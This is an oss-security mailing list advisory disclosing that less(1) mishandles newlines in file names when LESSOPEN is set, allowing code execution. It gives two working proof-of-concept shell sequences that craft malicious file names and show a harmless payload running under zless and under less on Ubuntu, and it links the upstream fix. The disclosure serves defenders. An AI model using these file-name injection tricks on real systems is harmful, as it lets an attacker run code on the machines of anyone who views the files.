Received-SPF: pass (google.com: domain of oss-security-return-30016-linux.lists.archive=gmail.com@lists.openwall.com designates 193.110.157.125 as permitted sender) client-ip=193.110.157.125;
Mailing-List: contact oss-security-help@lists.openwall.com; run by ezmlm
Precedence: bulk
Reply-To: oss-security@lists.openwall.com
Date: Fri, 12 Apr 2024 14:20:31 +0200
From: Jakub Wilk <jwilk@jwilk.net>
To: <oss-security@lists.openwall.com>
Message-ID: <20240412122031.pt2sx6rasca3mgpu@jwilk.net>
Mail-Followup-To: oss-security@lists.openwall.com
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Content-Disposition: inline
Subject: [oss-security] less(1) with LESSOPEN mishandles \n in paths

less(1) does not correctly escape newlines in pathnames when 
constructing command line of the input preprocessor. If a user ran 
less(1) on files with untrusted names, this could result in execution of 
arbitrary code.

The input preprocessor is enabled by the LESSOPEN environment variable.
But if you didn't set it, don't worry, because zless(1) (or xzless(1), 
or zstdless(1)) sets it for you:

    $ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')"
    $ zless ./*
     _______
    < pwned >
     -------
            \   ^__^
             \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||
    ./
    |sh (file 1 of 2) (END) - Next: ./\

On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the bug 
can be exploited even without the wrapper:

    $ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo
    $ less ./*/*
     _______
    < pwned >
     -------
            \   ^__^
             \  (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||
    ./
    |m/oo (file 1 of 2) (END) - Next: ./m/oo


Upstream fix:
https://github.com/gwsw/less/commit/007521ac3c95bc76

-- 
Jakub Wilk